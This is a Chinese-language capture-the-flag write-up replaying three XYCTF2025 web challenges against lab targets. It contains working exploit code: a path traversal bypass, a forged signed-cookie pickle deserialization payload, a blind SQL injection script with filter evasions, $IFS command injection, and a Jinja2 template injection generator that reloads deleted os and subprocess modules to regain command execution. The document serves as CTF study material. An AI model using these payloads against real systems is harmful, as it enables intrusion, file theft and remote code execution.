XYCTF2025-Web方向复现记录

Signin

附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()

app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

可以看到这个是用bottle框架写的

/download

接收查询参数filename作为要下载的文件名

对文件名进行了一些安全检查,禁止包含../../、以/../开头以及包含\的文件名

读取并返回指定文件的内容

/secret路径

尝试从 cookie 中获取会话信息(使用 secret 进行加密验证)

如果会话不存在或用户是 “guest”,则设置 guest 会话并返回 “Forbidden!”

如果用户是 “admin”,则返回 “The secret has been deleted!”

出现异常时返回 “Error!”

这里只是禁止了两个连在一起的../../和开头的../

直接用./绕过

1
/download?filename=./.././.././../secret.txt

image-20251119213949573

Hell0_H@cker_Y0u_A3r_Sm@r7

尝试跟进/secret路由下get_cookie以及set_cookie的源码,发现存在pickle.loads

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default

[XYCTF 2025 Web Signin]快速理解bottle模板的set_cookie和get_cookie的原理,利用get_cookie伪造cookie进行pickle反序列化执行命令_ctf bottle-CSDN博客

我们需要伪造一个cookie能通过get_cookie的验证到达反序列化这一步,然后利用pickle反序列化中的reduce魔术方法在反序列化的同时执行我们的代码。下一步就是如何构造这个cookie能让他通过get_cookie的验证。

然后来看set_cookie

在bottle模板中,与get_cookie对应的就是set_cookie,一个构造cookie,一个验证cookie。也就是说如果我们要利用get_cookie进行pickle反序列化执行我们的代码,我们就要利用set_cookie来构造cookie通过get_cookie的验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def set_cookie(self, name, value, secret=None, digestmod=hashlib.sha256, **options):
if not self._cookies:
self._cookies = SimpleCookie()
# Monkey-patch Cookie lib to support 'SameSite' parameter
# https://tools.ietf.org/html/draft-west-first-party-cookies-07#section-4.1
if py < (3, 8, 0):
Morsel._reserved.setdefault('samesite', 'SameSite')
if secret:
if not isinstance(value, basestring):
depr(0, 13, "Pickling of arbitrary objects into cookies is "
"deprecated.", "Only store strings in cookies. "
"JSON strings are fine, too.")
encoded = base64.b64encode(pickle.dumps([name, value], -1))
sig = base64.b64encode(hmac.new(tob(secret), encoded,
digestmod=digestmod).digest())
value = touni(tob('!') + sig + tob('?') + encoded)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle, base64, hmac, hashlib
secret = b'Hell0_H@cker_Y0u_A3r_Sm@r7' # 你需要知道 secret
digestmod = hashlib.sha256 # 取决于你代码里用的
msg=''
msg = b'''cos
system
(S'cat /f* > 1.txt'
tR.'''
msg_b64 = base64.b64encode(msg)
sig = hmac.new(secret, msg_b64, digestmod=digestmod).digest()
sig_b64 = base64.b64encode(sig)

value_to_pass = f"!{sig_b64.decode()}?{msg_b64.decode()}"
print(value_to_pass)

image-20251121090805582

替换cookie并访问

image-20251121090836413

ez_sql

sql布尔盲注+and、空格及逗号绕过,无回显rce

打开是一个登录页面

1’会报错

尝试admin’ or 1=1#被过滤了 测试一下waf发现过滤了, - = | ***** & 空格 order by like handler and union

1
admin'%09or(1=1#

空格%09或者)绕过就行了

抓包绕过或者用hackerbar 我这里直接登录不行

image-20251121095731324

所以我们现在要找到密钥

输对了就能到这个二重验证 不对就显示账号密码错误 判断应该是存在盲注的

简单测试一下

image-20251127102146434

image-20251127102207928

1
username=admin'%09or%09(length(database())=6)#&password=1

确定数据库长度为6 且盲注能用

想办法打时间盲注

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

url = "http://192.168.23.129:8080"

y = 0
flag=''
while(1):

y=y+1
for a in range(32, 127):

payload = f"ascii(substr(database()\x09from\x092\x09for\x091))={a}#"

#payload = f"ascii(substr((select\x09table_name\x09from\x09information_schema.tables\x09where\x09table_schema='testdb'\x09limit\x091)\x09from\x09{y}\x09for\x091))={a}#"

#payload = f"ascii(substr((select\x09secret\x09from\x09double_check\x09limit\x091)from\x09{y}\x09for\x091))={a}#"

#payload = f"ascii(substr((select\x09group_concat(column_name)\x09from\x09information_schema.columns\x09where\x09table_name='double_check'\x09limit\x091)from\x09{y}\x09for\x091))={a}#"

data = {

"username": f"0'\x09or\x09{payload}",
"password": "2"

}
response = requests.post(url=url, data=data)

if "帐号或密码错误" not in response.text:

print(f"成功!当前ASCII值: {a}")
print(chr(a))

print(response.text)
flag=flag+chr(a)
print(flag)

执行第一个payload判断出数据库名应该是testdb

image-20251127140941230

image-20251127141026090

secret

image-20251127141104550

dtfrtkcc0czkoua9S

image-20251127141232839

接下来很明显是rce无回显

空格被过滤掉了

1
ls$IFS$9-la$IFS$9/>/1.txt

image-20251127141835092

1
cat$IFS$9/flag.txt>test.txt

image-20251127141937958

Now you see me

image-20251128093224501

源码文件往右拉有一串base64加密

解码之后是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)

lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

先来分析代码

1
2
3
4
5
6
7
8
9
10
11
12
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)

audit_checker当enable_hook = true的时候触发

检测触发次数 限制多次代码进行突破

后面是一个黑名单过滤

flask路由和核心逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'

@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
# 黑名单检测
for i in lock_within:
if i in name:
return 'NOPE.'
# 启用审计钩子
enable_hook = True
# 渲染模板字符串(SSTI 入口)
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

仅当参数 nameFollow-your-heart- 开头时,才进入后续逻辑;

检查 name 是否包含黑名单关键词,包含则返回 NOPE.

启用审计钩子,渲染模板字符串 ``(Jinja2 注释语法);

渲染完成后关闭钩子、重置计数器,返回渲染结果;

异常处理:审计钩子触发的 RuntimeError 返回 NO.,其他异常返回 Error

在后面的过滤是系统命令的禁用 总之是一个ssti 但是过滤很严格

看出题人博客知道这个题就是为了让不使用fenjing 所以直接没有考虑

image-20251128100723078

没有过滤request 所以这就是突破口

先考虑传统继承链。但是由于缺少_,只能去尝试构造字符_,但是由于限制了单双引号和一些重要字符,无法获取到_。传统继承链打不了。

注意到没有过滤request对象(除了request其他的入口类全给你ban了)。然后,可以发现request的常用逃逸参数(args,values这种)全被禁止。同时限死了单双引号,无法拼接,无法进行编码转换

request 冷门属性 / 方法 作用 可利用点
request.url 获取完整请求 URL 藏敏感字符在 URL 参数中
request.base_url 获取不含参数的 URL 同上
request.url_root 获取域名根路径 拼接路径
request.blueprint 获取蓝图名称(默认空) 无值但可用于测试属性访问
request.endpoint 获取当前路由端点 验证 request 可访问
request._get_data() 获取原始请求体(绕开 stream 读取自定义请求体中的敏感数据
request.cookies 即使 WAF 拦了 cookies 拼写,也可通过 ` attr 绕:request

看这个

这里用的是request.endpoint获得当前路由r3al_ins1de_th0ught

从中,我们能获取字符’d’, ‘a’, ‘t’ 注意到可以拼接出data。进而获取request.data,再在请求体中传入任意字符进行绕过。至此,我们可以获得任意字符。

1
flask.render_template_string('{#'+f'{name}'+'#}')

在语句的开头加入#}来闭合注释语句

1
#}{%print(7*7)%}

代码在 if __name__ == '__main__': 块中,通过 del 语句彻底删除了 Python 中执行系统命令 / 创建子进程的核心函数,直接从底层阻断 RCE

importlib.reload()重载模块

利用importlib.reload()重载模块,重新获取被手动删除的功能(比如代码中被删的os.system/subprocess.Popen等 RCE 相关方法)

正常情况下os.system是存在的,用来执行系统命令;

如果你用del os.system删除了这个函数,os.system会变成 “不存在”;

但执行importlib.reload(os)后,os模块会被重新加载,os.system会恢复到原始状态,能再次使用。

1
2
3
4
5
6
7
8
9
10
11
# 1. 导入os模块(此时os.system存在)
import os
# 2. 导入importlib模块(提供reload功能)
import importlib
# 3. 手动删除os模块下的system函数
del os.system
# 4. 重载os模块:重新加载os,恢复其原始属性
importlib.reload(os)
# 5. 此时os.system已恢复,可执行系统命令
os.system('whoami')

题目中虽然删了os.system/subprocess.Popen,但os/subprocess模块本身还在内存中;

攻击者可以通过 SSTI 构造importlib.reload(os),重新加载os模块,恢复os.system

恢复后就能用os.system('命令')执行系统命令,实现 RCE。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import re
payload = []
def generate_rce_command(cmd):
global payload
payloadstr = "{%set%0asub=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('subprocess')%}{%set%0aso=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(sub))%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(so))%}{%print(so|attr('popen')('" + cmd + "')|attr('read')())%}"

required_encoding = re.findall('\'([a-z0-9_ /\.]+)\'', payloadstr)
# print(required_encoding)

offset_a = 16
offset_0 = 6

encoded_payloads = {}

arg_count = 0
for i in required_encoding:
print(i)
if i not in encoded_payloads:
p = []
for j in i:
if j == '_':
p.append('k.2')
elif j == ' ':
p.append('k.3')
elif j == '.':
p.append('k.4')
elif j == '-':
p.append('k.5')
elif j.isnumeric():
a = str(ord(j)-ord('0')+offset_0)
p.append(f'k.{a}')
elif j == '/':
p.append('k.68')
else:
a = str(ord(j)-ord('a')+offset_a)
p.append(f'k.{a}')
arg_name = f'a{arg_count}'
encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}'
encoded_payloads[i] = (arg_name, encoded_arg)
arg_count+=1
payload.append(encoded_arg)
# print(encoded_payloads)
fully_encoded_payload = payloadstr
for i in encoded_payloads.keys():
if i in fully_encoded_payload:
fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0])
# print(fully_encoded_payload)
payload.append(fully_encoded_payload)
command = "whoami"
payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}')
word_data = ''
endpoint = 'r3al_ins1de_th0ught'
for i in 'data':
word_data += 'i.' + str(endpoint.find(i)) + '~'
word_data = word_data[:-1] # delete the last '~'
# Now we have "data"
print("data: "+word_data)
payload.append(r'{%set%0adat='+word_data+'%}')
payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}')
generate_rce_command(command)
# payload.append(r'{%print(j)%}')
# Here we use the "data" to construct the payload
print('request body: _ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/')
# use chr() to convert the number to character
# hiahiahia~ Now we get all of the charset, SSTI go go go!


payload.append(r'{%endfor%}')
payload.append(r'{%endfor%}')
output = ''.join(payload)

print(r"Follow-your-heart-%23}"+output)


字符编码绕过:把黑名单字符(_/ 空格 /.等)转换成k.N格式(如_→k.2、空格→k.3),避免直接出现被拦截的字符;

动态构造敏感字符串:通过request.endpoint/request.data等 “漏网” 属性,动态拼接出__globals__/__import__等魔术方法;

重载模块恢复 RCE 函数:用importlib.reload(os)/importlib.reload(subprocess)恢复被删除的os.popen

Jinja2 语法变形:用%0a(换行符)、{% set %}/{% for %}等语法替代{{}},绕开模板语法拦截;

链式调用属性:用|attr()过滤器替代.,用__getitem__()替代[],绕开属性访问的拦截。